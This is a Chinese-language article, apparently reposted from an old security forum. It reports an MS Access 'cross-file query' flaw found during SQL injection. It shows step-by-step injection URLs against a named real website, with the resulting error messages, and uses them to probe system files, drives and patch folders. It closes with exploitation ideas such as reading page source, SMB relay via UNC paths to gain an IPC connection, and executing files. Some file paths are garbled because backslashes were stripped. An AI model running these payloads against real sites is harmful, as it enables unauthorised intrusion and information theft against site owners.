好得很程序员自学网

<tfoot draggable='sEl'></tfoot>

access数据库跨文件查询漏洞的初步报告

一. 在一次玩sql injection时无意发现了这个 漏洞 : 1.访问http://www.lznet.net/news/displaynews.asp?id=24794 页面出错信息: Microsoft OLE DB Provider for ODBC Drivers 错误 80040e14 [Microsoft][ODBC Microsoft Access Driver] 字符串的语法错误 在


一. 在一次玩sql injection时无意发现了这个 漏洞 :

1.访问http://www.lznet.net/news/displaynews.asp?id=24794'

页面出错信息:

Microsoft OLE DB Provider for ODBC Drivers 错误 '80040e14'

[Microsoft][ODBC Microsoft Access Driver] 字符串的语法错误 在 查询 表达式 'id = 24794'' 中。

/news/displaynews.asp,行133

2.访问http://www.lznet.net/news/displaynews.asp?id=24794 and 1=1

页面正常

3.访问http://www.lznet.net/news/displaynews.asp?id=24794 and 1=2

页面返回"找不到 文件 "

这是典型的sql injection with access 漏洞 ,接下来猜表名:

4.访问http://www.lznet.net/news/displaynews.asp?id=24794 and 0 (select count(*) from news)

页面出错: 数据库 引擎找不到输入表或 查询 'news'

5.访问http://www.lznet.net/news/displaynews.asp?id=24794 and 0 (select count(*) from admin)

页面出错: 数据库 引擎找不到输入表或 查询 'admin'

6.突然想起了sql injection技术中得到的出错信息中表名格式为: news.id

其中news为表名,id为表中的一个列名

7.访问http://www.lznet.net/news/displaynews.asp?id=24794 and 0 (select count(*) from lznet.a)

出错:找不到 文件 'C:WINNTsystem32lznet.mdb'。

8.试遍了web根目录以及所有知道的虚拟目录,都下载不到这个lznet.mdb,仔细一看原来是lznet.mdb这个 文件 名是自己定义的。但是,是什么原因泄露系统目录的物理路径呢?继续试试能不能 查询 c:winntsystem32下的cmd.exe 文件 .

9.访问http://www.lznet.net/news/displaynews.asp?id=24794 and 0 (select count(*) from cmd.exe.a)

这条语句格式是经过多次试验得到的:)

出错:" 数据库 引擎打不开 文件 'C:WINNTsystem32CMD.EXE'。 它已经被别的用户以独占方式打开,或没有查看数据的权限。 "

分析以上出错信息,我想权限是有的,因为我们是基于asp的guest权限,默认cmd.exe是Everyone:R ,如果打不开那就是 数据库 不支持了,但是 文件 夹是可以被 数据库 访问,否则我们是搜索不到其中的 文件 的。

10.访问http://www.lznet.net/news/displaynews.asp?id=24794 and 0 (select count(*) from c:cmd.exe.a)

在这里我们可以看到跨目录 查询 是可行的

出错:

找不到 文件 'c:cmd.exe'。

11.访问http://www.lznet.net/news/displaynews.asp?id=24794 and 0 (select count(*) from c:oot.ini.a)

注:boot.ini是win2000在系统盘根目录下的系统引导 文件

出错:

据库引擎打不开 文件 'c:oot.ini'。 它已经被别的用户以独占方式打开,或没有查看数据的权限。

12.访问http://www.lznet.net/news/displaynews.asp?id=24794 and 0 (select count(*) from d:oot.ini.a)

跨盘符 查询 也是可行的

出错:

找不到 文件 'd:oot.ini'。

13.访问http://www.lznet.net/news/displaynews.asp?id=24794 and 0 (select count(*) from i:oot.ini.a)

出错:

'i:oot.ini'不是一个有效的路径。 确定路径名称拼写是否正确,以及是否连接到 文件 存放的服务器。

注:我们看到出错信息很老实的告诉了我们这个系统没有i盘,从侧面说access的出错信息在某些方面还是比较详细的。

14.这是个比较实际的利用,如果对方是从spx打到spx,在winnt目录下就会有这些 文件 ,我们可以通过这个 漏洞 查找这些 文件 ,确定目录主机打补丁的情况:

[$NtUninstallQ329553$] [$NtUninstallQ329834$]

[$NtUninstallQ331953$] [$NtUninstallQ810833$]

[$NtUninstallQ811114$] [$NtUninstallQ811493$]

[$NtUninstallQ815021$] [$NtUninstallSP2SRP1$]

……………

二. 漏洞 的利用设想:

1. 查询 某个动态网页 文件 ,利用 查询 语句获取动态网页的源代码,比如读取 文件 内容并把内容写入到表的一个列里,然后用len暴力猜列里的内容,从而得到源码。

2.猜测目录的位置、 文件 名等等,了解对方的一点主机信息,比如说系统安装在哪个分区上,共有几个分区以及系统打的什么补丁等等。

3. 查询 unc路径,如\1.1.1.1sharea.vbs,而\1.1.1.1运行着smbrelay,我们利用smb重定向技术有能会得到一个guest权限的ipc连接,这就有意思多了。

4.查找敏感 文件 ,比如*.cif,*.mdb等等,但是我没有实现在access上使用通配符 查询 文件 ,可能是因为我是 数据库 新手的问题。

5.执行 文件 ,可以的话就发财了.

6.以上设想可能有理解错误正在验证中(你想到什么就告诉我吧)

有关我对这个 漏洞 的理解:

access对表和列的 查询 存在问题,如果我们构造一个畸型表名的话,access找不到这样的表就会当成mdb 文件 去查找,如果构造得当,就会当成一个 文件 去到硬盘上查找!(默认在system32下查找。我在sql server也简单测试了一下,没有发现这个问题。另外利用这个 漏洞 需要两个条件(怕有的人不理解):

(1)对方是asp+access应用体系,并且asp代码存在过滤不足的问题使我们可以远程注射sql语句。

(2)asp要能显示 查询 失败的详细信息,比如" 数据库 引擎找不到输入表或 查询 'news'"。否则我们无论 查询 是否成功都变的没有意义。

查看更多关于access数据库跨文件查询漏洞的初步报告的详细内容...

  阅读:37次